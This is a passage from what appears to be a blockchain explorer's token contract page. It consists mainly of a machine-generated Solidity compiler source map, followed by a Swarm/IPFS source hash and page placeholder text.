;4580:38;4635:19;;11154:79:0;;;;;;;;;11244:57;11253:6;551:10;11275:25;11294:6;11275:16;:25;:::i;:::-;11244:8;:57::i;:::-;-1:-1:-1;11319:4:0;;10913:418;-1:-1:-1;;;;10913:418:0:o;12019:215::-;551:10;12107:4;12156:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;12156:34:0;;;;;;;;;;12107:4;;12124:80;;12147:7;;12156:47;;12193:10;;12156:47;:::i;8627:88::-;6192:10;;-1:-1:-1;;;;;6192:10:0;551;6192:26;6184:71;;;;-1:-1:-1;;;6184:71:0;;;;;;;:::i;:::-;8695:6:::1;:12:::0;;-1:-1:-1;;;;;;8695:12:0::1;-1:-1:-1::0;;;;;8695:12:0;;;::::1;::::0;;;::::1;::::0;;8627:88::o;6758:130::-;6192:10;;-1:-1:-1;;;;;6192:10:0;551;6192:26;6184:71;;;;-1:-1:-1;;;6184:71:0;;;;;;;:::i;:::-;6832:5:::1;::::0;6826:24:::1;::::0;6847:1:::1;::::0;-1:-1:-1;;;;;6832:5:0::1;::::0;6826:24:::1;::::0;6847:1;;6826:24:::1;6862:5;:18:::0;;-1:-1:-1;;;;;;6862:18:0::1;::::0;;6758:130::o;8296:104::-;8352:13;8385:7;8378:14;;;;;:::i;12240:375::-;551:10;12333:4;12377:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;12377:34:0;;;;;;;;;;12430:35;;;;12422:85;;;;-1:-1:-1;;;12422:85:0;;5623:2:1;12422:85:0;;;5605:21:1;5662:2;5642:18;;;5635:30;5701:34;5681:18;;;5674:62;-1:-1:-1;;;5752:18:1;;;5745:35;5797:19;;12422:85:0;5421:401:1;12422:85:0;12518:67;551:10;12541:7;12550:34;12569:15;12550:16;:34;:::i;12518:67::-;-1:-1:-1;12603:4:0;;12240:375;-1:-1:-1;;;12240:375:0:o;10065:510::-;10144:4;10165:10;;-1:-1:-1;;;;;10165:10:0;551;10165:26;10164:45;;;;-1:-1:-1;10197:5:0;;;;:11;;:5;:11;10164:45;10161:407;;;10211:42;551:10;10221:12;10235:9;10246:6;10211:9;:42::i;:::-;-1:-1:-1;10255:5:0;:11;;-1:-1:-1;;10255:11:0;;;;10267;;10161:407;10299:10;;-1:-1:-1;;;;;10299:10:0;551;10299:26;10298:46;;;;-1:-1:-1;10331:5:0;;;;:12;10298:46;10295:273;;;10359:12;;:24;;10376:6;10359:16;:24::i;:::-;10346:12;:37;-1:-1:-1;;;;;10405:20:0;;;;;;:9;:20;;;;;;:32;;10430:6;10405:24;:32::i;:::-;-1:-1:-1;;;;;10384:20:0;;;;;;:9;:20;;;;;;;:53;;;;10443:38;;10384:20;;10443:38;;;;10474:6;1391:25:1;;1379:2;1364:18;;1245:177;10443:38:0;;;;;;;;-1:-1:-1;10490:4:0;10483:11;;10295:273;10511:42;551:10;10521:12;471:98;10511:42;-1:-1:-1;10562:4:0;10555:11;;11850:159;6192:10;;-1:-1:-1;;;;;6192:10:0;551;6192:26;6184:71;;;;-1:-1:-1;;;6184:71:0;;;;;;;:::i;:::-;11929:9:::1;11924:78;11948:7;:14;11944:1;:18;11924:78;;;11984:15;11988:7;11996:1;11988:10;;;;;;;;:::i;:::-;;;;;;;11984:3;:15::i;:::-;11964:3:::0;::::1;::::0;::::1;:::i;:::-;;;;11924:78;;;;11850:159:::0;:::o;14153:344::-;-1:-1:-1;;;;;14255:19:0;;14247:68;;;;-1:-1:-1;;;14247:68:0;;6301:2:1;14247:68:0;;;6283:21:1;6340:2;6320:18;;;6313:30;6379:34;6359:18;;;6352:62;-1:-1:-1;;;6430:18:1;;;6423:34;6474:19;;14247:68:0;6099:400:1;14247:68:0;-1:-1:-1;;;;;14334:21:0;;14326:68;;;;-1:-1:-1;;;14326:68:0;;6706:2:1;14326:68:0;;;6688:21:1;6745:2;6725:18;;;6718:30;6784:34;6764:18;;;6757:62;-1:-1:-1;;;6835:18:1;;;6828:32;6877:19;;14326:68:0;6504:398:1;14326:68:0;-1:-1:-1;;;;;14405:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;14457:32;;1391:25:1;;;14457:32:0;;1364:18:1;14457:32:0;;;;;;;14153:344;;;:::o;12621:808::-;-1:-1:-1;;;;;12727:20:0;;12719:70;;;;-1:-1:-1;;;12719:70:0;;7109:2:1;12719:70:0;;;7091:21:1;7148:2;7128:18;;;7121:30;7187:34;7167:18;;;7160:62;-1:-1:-1;;;7238:18:1;;;7231:35;7283:19;;12719:70:0;6907:401:1;12719:70:0;-1:-1:-1;;;;;12808:23:0;;12800:71;;;;-1:-1:-1;;;12800:71:0;;7515:2:1;12800:71:0;;;7497:21:1;7554:2;7534:18;;;7527:30;7593:34;7573:18;;;7566:62;-1:-1:-1;;;7644:18:1;;;7637:33;7687:19;;12800:71:0;7313:399:1;12800:71:0;12899:6;;-1:-1:-1;;;;;12886:19:0;;;12899:6;;12886:19;12882:63;;;-1:-1:-1;;;;;12926:15:0;;;;;;:7;:15;;;;;;;;12918:24;;;;;;-1:-1:-1;;;;;12979:17:0;;12955:21;12979:17;;;:9;:17;;;;;;13015:23;;;;13007:74;;;;-1:-1:-1;;;13007:74:0;;7919:2:1;13007:74:0;;;7901:21:1;7958:2;7938:18;;;7931:30;7997:34;7977:18;;;7970:62;-1:-1:-1;;;8048:18:1;;;8041:36;8094:19;;13007:74:0;7717:402:1;13007:74:0;13112:22;13128:6;13112:13;:22;:::i;:::-;-1:-1:-1;;;;;13092:17:0;;;;;;;:9;:17;;;;;;:42;;;;13145:20;;;;;;;;:30;;13169:6;;13092:17;13145:30;;13169:6;;13145:30;:::i;:::-;;;;;;;;13208:9;-1:-1:-1;;;;;13191:35:0;13200:6;-1:-1:-1;;;;;13191:35:0;;13219:6;13191:35;;;;1391:25:1;;1379:2;1364:18;;1245:177;13191:35:0;;;;;;;;12708:721;12621:808;;;:::o;2763:181::-;2821:7;;2853:5;2857:1;2853;:5;:::i;:::-;2841:17;;2882:1;2877;:6;;2869:46;;;;-1:-1:-1;;;2869:46:0;;8326:2:1;2869:46:0;;;8308:21:1;8365:2;8345:18;;;8338:30;8404:29;8384:18;;;8377:57;8451:18;;2869:46:0;8124:351:1;2869:46:0;2935:1;2763:181;-1:-1:-1;;;2763:181:0:o;11707:87::-;6192:10;;-1:-1:-1;;;;;6192:10:0;551;6192:26;6184:71;;;;-1:-1:-1;;;6184:71:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11764:15:0::1;;::::0;;;:7:::1;:15;::::0;;;;:22;;-1:-1:-1;;11764:22:0::1;11782:4;11764:22;::::0;;11707:87::o;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:173::-;684:20;;-1:-1:-1;;;;;733:31:1;;723:42;;713:70;;779:1;776;769:12;713:70;616:173;;;:::o;794:254::-;862:6;870;923:2;911:9;902:7;898:23;894:32;891:52;;;939:1;936;929:12;891:52;962:29;981:9;962:29;:::i;:::-;952:39;1038:2;1023:18;;;;1010:32;;-1:-1:-1;;;794:254:1:o;1427:328::-;1504:6;1512;1520;1573:2;1561:9;1552:7;1548:23;1544:32;1541:52;;;1589:1;1586;1579:12;1541:52;1612:29;1631:9;1612:29;:::i;:::-;1602:39;;1660:38;1694:2;1683:9;1679:18;1660:38;:::i;:::-;1650:48;;1745:2;1734:9;1730:18;1717:32;1707:42;;1427:328;;;;;:::o;1949:186::-;2008:6;2061:2;2049:9;2040:7;2036:23;2032:32;2029:52;;;2077:1;2074;2067:12;2029:52;2100:29;2119:9;2100:29;:::i;2348:260::-;2416:6;2424;2477:2;2465:9;2456:7;2452:23;2448:32;2445:52;;;2493:1;2490;2483:12;2445:52;2516:29;2535:9;2516:29;:::i;:::-;2506:39;;2564:38;2598:2;2587:9;2583:18;2564:38;:::i;:::-;2554:48;;2348:260;;;;;:::o;2613:127::-;2674:10;2669:3;2665:20;2662:1;2655:31;2705:4;2702:1;2695:15;2729:4;2726:1;2719:15;2745:1121;2829:6;2860:2;2903;2891:9;2882:7;2878:23;2874:32;2871:52;;;2919:1;2916;2909:12;2871:52;2959:9;2946:23;2988:18;3029:2;3021:6;3018:14;3015:34;;;3045:1;3042;3035:12;3015:34;3083:6;3072:9;3068:22;3058:32;;3128:7;3121:4;3117:2;3113:13;3109:27;3099:55;;3150:1;3147;3140:12;3099:55;3186:2;3173:16;3208:2;3204;3201:10;3198:36;;;3214:18;;:::i;:::-;3260:2;3257:1;3253:10;3292:2;3286:9;3355:2;3351:7;3346:2;3342;3338:11;3334:25;3326:6;3322:38;3410:6;3398:10;3395:22;3390:2;3378:10;3375:18;3372:46;3369:72;;;3421:18;;:::i;:::-;3457:2;3450:22;3507:18;;;3541:15;;;;-1:-1:-1;3583:11:1;;;3579:20;;;3611:19;;;3608:39;;;3643:1;3640;3633:12;3608:39;3667:11;;;;3687:148;3703:6;3698:3;3695:15;3687:148;;;3769:23;3788:3;3769:23;:::i;:::-;3757:36;;3720:12;;;;3813;;;;3687:148;;;3854:6;2745:1121;-1:-1:-1;;;;;;;;2745:1121:1:o;3871:380::-;3950:1;3946:12;;;;3993;;;4014:61;;4068:4;4060:6;4056:17;4046:27;;4014:61;4121:2;4113:6;4110:14;4090:18;4087:38;4084:161;;;4167:10;4162:3;4158:20;4155:1;4148:31;4202:4;4199:1;4192:15;4230:4;4227:1;4220:15;4084:161;;3871:380;;;:::o;4665:127::-;4726:10;4721:3;4717:20;4714:1;4707:31;4757:4;4754:1;4747:15;4781:4;4778:1;4771:15;4797:125;4837:4;4865:1;4862;4859:8;4856:34;;;4870:18;;:::i;:::-;-1:-1:-1;4907:9:1;;4797:125::o;4927:128::-;4967:3;4998:1;4994:6;4991:1;4988:13;4985:39;;;5004:18;;:::i;:::-;-1:-1:-1;5040:9:1;;4927:128::o;5060:356::-;5262:2;5244:21;;;5281:18;;;5274:30;5340:34;5335:2;5320:18;;5313:62;5407:2;5392:18;;5060:356::o;5827:127::-;5888:10;5883:3;5879:20;5876:1;5869:31;5919:4;5916:1;5909:15;5943:4;5940:1;5933:15;5959:135;5998:3;-1:-1:-1;;6019:17:1;;6016:43;;;6039:18;;:::i;:::-;-1:-1:-1;6086:1:1;6075:13;;5959:135::o
Swarm Source
ipfs://d78aa7741f42d3d217f5dd25c3444c4dd2720a899a38c560b8773e2a26b8bb2b
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.